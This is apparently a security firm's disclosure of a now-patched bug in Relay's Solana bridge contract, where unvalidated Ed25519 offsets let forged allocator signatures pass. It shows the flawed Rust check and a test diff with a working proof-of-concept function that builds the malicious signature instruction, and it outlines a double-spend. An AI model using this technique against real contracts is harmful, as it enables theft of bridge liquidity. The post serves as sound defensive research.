Research · · 6 min read

Wrong Offset: Bypassing Signature Verification in Relay

Relay Protocol's contracts trusted Ed25519 verification without validating offsets, opening the door to forged allocator signatures and potential double-spends. Learn about the bug, the risks it posed to cross-chain liquidity, and how the issue was addressed.

Wrong Offset: Bypassing Signature Verification in Relay

This post describes a critical vulnerability in the Solana smart contracts used by Relay, a popular cross-chain bridge. We disclosed the issue privately to the Relay team; it was quickly patched, and no funds were lost or remain at risk.

Relay is an intent-based cross-chain protocol that supports over 85 chains and has processed more than $5 billion in volume over the past year. While Relay’s original design relied on off-chain liquidity providers, called relayers, who used their own capital to fill user orders on the destination chain, its new version, “Relay Protocol”, introduces several on-chain components for managing funds involved in cross-chain transfers.

Depository Contracts

The main entry and exit points for transfers are the so-called depository contracts. Users send funds to these contracts when initiating a transfer on the source chain, and the contract on the destination chain then releases funds to the user to fulfill the transfer. Sending funds to the depository contract is permissionless, but releasing funds requires a TransferRequest signed by a privileged off-chain entity called an allocator.

/// Structure representing a transfer request signed by the allocator
#[derive(AnchorSerialize, AnchorDeserialize, Copy, Clone, PartialEq, Debug)]
pub struct TransferRequest {
    /// The recipient of the transfer
    pub recipient: Pubkey,
    /// The token mint (None for native SOL, Some(mint) for SPL tokens)
    pub token: Option,
    /// The amount to transfer
    pub amount: u64,
    /// A unique nonce
    pub nonce: u64,
    /// The expiration timestamp for the request
    pub expiration: i64,
}

In Relay’s Solana contract, signature verification is done using the ed25519 native program and instruction introspection:

// 
// Validate allocator signatur
let cur_index: usize = 
   sysvar::instructions::load_current_index_checked(&ctx.accounts.ix_sysvar)?.into();
assert!(cur_index > 0, "cur_index should be greater than 0");

let ed25519_instr_index = cur_index - 1;
let signature_ix = sysvar::instructions::load_instruction_at_checked(
     ed25519_instr_index,
     &ctx.accounts.ix_sysvar,)?;

validate_ed25519_signature_instruction(
    &signature_ix,
    &relay_depository.allocator,
    &request)?;

The program first reads the index of the current instruction from the instruction sysvar. It then fetches the previous instruction and passes it to validate_ed25519_signature_instruction, along with the configured allocator and the request that needs to be verified. The purpose of this function is to ensure that the previous instruction verified a signature from the allocator over the hash of the transfer request.

Ed25519 Verification

As described in the Solana docs, the layout of instruction data for the ed25519 native program looks as follows:

The first byte describes the number of signatures (which would be 1 in the case of Relay), after that the following struct is encoded for each of the signatures:

struct Ed25519SignatureOffsets {
    signature_offset: u16,             // offset to ed25519 signature of 64 bytes
    signature_instruction_index: u16,  // instruction index to find signature
    public_key_offset: u16,            // offset to public key of 32 bytes
    public_key_instruction_index: u16, // instruction index to find public key
    message_data_offset: u16,          // offset to start of message data
    message_data_size: u16,            // size of message data
    message_instruction_index: u16,    // index of instruction data to get message data
}

The pseudo code describing the logic of the native program is shown below:

process_instruction() {
    for i in 0..count {
        // i'th index values referenced:
        instructions = &transaction.message().instructions
        instruction_index = ed25519_signature_instruction_index != u16::MAX ? ed25519_signature_instruction_index : current_instruction;
        signature = instructions[instruction_index].data[ed25519_signature_offset..ed25519_signature_offset + 64]
        instruction_index = ed25519_pubkey_instruction_index != u16::MAX ? ed25519_pubkey_instruction_index : current_instruction;
        pubkey = instructions[instruction_index].data[ed25519_pubkey_offset..ed25519_pubkey_offset + 32]
        instruction_index = ed25519_message_instruction_index != u16::MAX ? ed25519_message_instruction_index : current_instruction;
        message = instructions[instruction_index].data[ed25519_message_data_offset..ed25519_message_data_offset + ed25519_message_data_size]
        if pubkey.verify(signature, message) != Success {
            return Error
        }
    }
    return Success
}

For each signature encoded in the instruction data, the Solana Ed25519 program fetches the signature, public key, and message using the provided offsets and instruction indexes, before finally verifying the validity of the signature.

This flexibility, allowing arbitrary offsets and indexes, is powerful, but it also creates risk. Any program relying on Solana’s native Ed25519 verification must validate carefully that the data being checked is precisely what the program expects. In practice, this means verifying every field of the Ed25519SignatureOffsets struct before trusting the result.

Wrong Offset

When we examined the Relay depository contract, however, we found that these validations were missing:

fn validate_ed25519_signature_instruction(
    signature_ix: &Instruction,
    expected_signer: &Pubkey,
    expected_request: &TransferRequest,
) -> Result<()> {

    // Taken from:
    // 
    // Verify program ID
    require_eq!(
        signature_ix.program_id,
        solana_program::ed25519_program::id(),
        CustomError::MissingSignature
    );

    let data = &signature_ix.data;

    // Validate signature data structure
    require!(data.len() >= 99, CustomError::MalformedEd25519Data);
    require_eq!(data[0], 1, CustomError::MalformedEd25519Data);
    require!(
        signature_ix.accounts.is_empty(),
        CustomError::MalformedEd25519Data
    );

    // Extract and verify signer public key bytes
    let signer_pubkey = &signature_ix.data[16..16 + 32];
    require!(
        signer_pubkey == expected_signer.to_bytes(),
        CustomError::AllocatorSignerMismatch
    );

    // Verify message hash matches request hash
    let message_hash = &data[112..112 + 32];
    let expected_hash = expected_request.get_hash().to_bytes();
    if message_hash != expected_hash {
        return Err(CustomError::MessageMismatch.into());
    }

    Ok(())
}

The function correctly verifies that the instruction targets the Ed25519 native program, enforces a minimum data length, checks that the signature count is one, and validates both the signer and the message hash.

The issue is that none of the encoded offsets or instruction indexes are validated. Instead, the program relies on hardcoded offsets into the instruction data. As a result, the intended verification can be bypassed in multiple ways.

A simple attack involves storing the allocator public key at offset 16 while setting the public_key_offset field in the instruction data to point to a different key. This causes the Ed25519 program to verify a signature created with an attacker-controlled key, while the Relay depository contract mistakenly assumes that the allocator created the signature.

This behavior can be confirmed by modifying the Relay test suite: After applying the patch shown below, the test case Should fail with invalid allocator signature will now succeed even though no valid allocator signature is provided.

diff --git a/packages/solana-vm/tests/relay-depository.ts b/packages/solana-vm/tests/relay-depository.ts
index a05b52b..a172045 100644
--- a/packages/solana-vm/tests/relay-depository.ts
+++ b/packages/solana-vm/tests/relay-depository.ts
@@ -19,6 +19,7 @@ import {
   Keypair,
   sendAndConfirmTransaction,
   Transaction,
+  TransactionInstruction,
 } from "@solana/web3.js";
 import { assert } from "chai";
 import { sha256 } from "js-sha256";
@@ -1050,6 +1051,13 @@ describe("Relay Depository", () => {

     const requestPDA = await getUsedRequestPDA(request);

+    const instr = createMaliciousEd25519Instruction(
+      allocator.publicKey.toBytes(),
+      fakeAllocator.publicKey.toBytes(),
+      messagHash,
+      invalidSignature
+    );
+
     try {
       await program.methods
         .executeTransfer(request)
@@ -1067,13 +1075,7 @@ describe("Relay Depository", () => {
           systemProgram: SystemProgram.programId,
           ixSysvar: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
         })
-        .preInstructions([
-          anchor.web3.Ed25519Program.createInstructionWithPublicKey({
-            publicKey: fakeAllocator.publicKey.toBytes(),
-            message: messagHash,
-            signature: invalidSignature,
-          }),
-        ])
+        .preInstructions([instr])
         .rpc();
       assert.fail("Should have failed with invalid signature");
     } catch (e) {
@@ -1618,3 +1620,78 @@ async function createMintWithTransferFee(

   return mintKeypair.publicKey;
 }
+
+/**
+ * Create a malicious Ed25519 signature verification instruction that bypasses allocator signature requirement
+ * @param allocatorPubkey The allocator public key that will be checked by the validation (32 bytes)
+ * @param realPublicKey The real public key used for actual verification (32 bytes)
+ * @param message The message that was signed
+ * @param signature The signature to verify (64 bytes) - should be signed with realPrivateKey
+ * @param instructionIndex Optional instruction index (defaults to current instruction)
+ * @returns TransactionInstruction for Ed25519 signature verification
+ */
+function createMaliciousEd25519Instruction(
+  allocatorPubkey: Uint8Array,
+  realPublicKey: Uint8Array,
+  message: Uint8Array,
+  signature: Uint8Array,
+  instructionIndex?: number
+): TransactionInstruction {
+  const PUBLIC_KEY_BYTES = 32;
+  const SIGNATURE_BYTES = 64;
+
+  if (allocatorPubkey.length !== PUBLIC_KEY_BYTES) {
+    throw new Error(
+      `Allocator Public Key must be ${PUBLIC_KEY_BYTES} bytes but received ${allocatorPubkey.length} bytes`
+    );
+  }
+
+  if (realPublicKey.length !== PUBLIC_KEY_BYTES) {
+    throw new Error(
+      `Real Public Key must be ${PUBLIC_KEY_BYTES} bytes but received ${realPublicKey.length} bytes`
+    );
+  }
+
+  if (signature.length !== SIGNATURE_BYTES) {
+    throw new Error(
+      `Signature must be ${SIGNATURE_BYTES} bytes but received ${signature.length} bytes`
+    );
+  }
+
+  // Ed25519 instruction layout offsets
+  const ED25519_INSTRUCTION_LAYOUT_SIZE = 16; // Size of the instruction header
+  const fakePublicKeyOffset = ED25519_INSTRUCTION_LAYOUT_SIZE; // This will contain allocator pubkey for validation
+  const signatureOffset = fakePublicKeyOffset + allocatorPubkey.length;
+  const messageDataOffset = signatureOffset + signature.length;
+  const realPublicKeyOffset = messageDataOffset + message.length; // Real pubkey goes at the end
+  const numSignatures = 1;
+
+  const instructionData = Buffer.alloc(
+    realPublicKeyOffset + realPublicKey.length
+  );
+
+  const index = instructionIndex == null ? 0xffff : instructionIndex;
+
+  // Write instruction layout header - publicKeyOffset points to the real key at the end
+  instructionData.writeUInt8(numSignatures, 0); // numSignatures
+  instructionData.writeUInt8(0, 1); // padding
+  instructionData.writeUInt16LE(signatureOffset, 2); // signatureOffset
+  instructionData.writeUInt16LE(index, 4); // signatureInstructionIndex
+  instructionData.writeUInt16LE(realPublicKeyOffset, 6); // publicKeyOffset - points to real key
+  instructionData.writeUInt16LE(index, 8); // publicKeyInstructionIndex
+  instructionData.writeUInt16LE(messageDataOffset, 10); // messageDataOffset
+  instructionData.writeUInt16LE(message.length, 12); // messageDataSize
+  instructionData.writeUInt16LE(index, 14); // messageInstructionIndex
+
+  // Copy data - allocator pubkey at offset 16 (for validation check), real pubkey at the end
+  instructionData.set(allocatorPubkey, fakePublicKeyOffset);
+  instructionData.set(signature, signatureOffset);
+  instructionData.set(message, messageDataOffset);
+  instructionData.set(realPublicKey, realPublicKeyOffset);
+
+  return new TransactionInstruction({
+    keys: [],
+    programId: new PublicKey("Ed25519SigVerify111111111111111111111111111"),
+    data: instructionData,
+  });
+}

At the time of our report, the Solana depository contracts did not hold a significant amount of funds. However, the vulnerability could have allowed an attacker to perform a double-spend. By initiating a transfer from Solana, depositing funds into the contract, and receiving them on the destination chain, the attacker could simultaneously extract the same funds from the depository contract using a forged signature.

The scale of this attack would have been limited only by the available liquidity in the protocol. Importantly, the primary entities at risk were the relay.link solvers or relayers that provide liquidity, since only in-flight user funds are directly controlled by the protocol.

Conclusion

Solana’s native signature verification programs are easy to misuse and have been the source of several critical vulnerabilities since the early days of the chain (for example, see this Neodyme report on deBridge from 2022). While documentation has improved and many experienced teams are now aware of these pitfalls, there remains a clear need for better developer frameworks and libraries that provide secure-by-default wrappers.

We would like to thank the relay.link team for their rapid response to our vulnerability report and for patching the affected contracts quickly to protect their users.

Read next

Get The Latest

Subscribe to be notified whenever we publish new security research.

Great! Check your inbox and click the link.
Sorry, something went wrong. Please try again.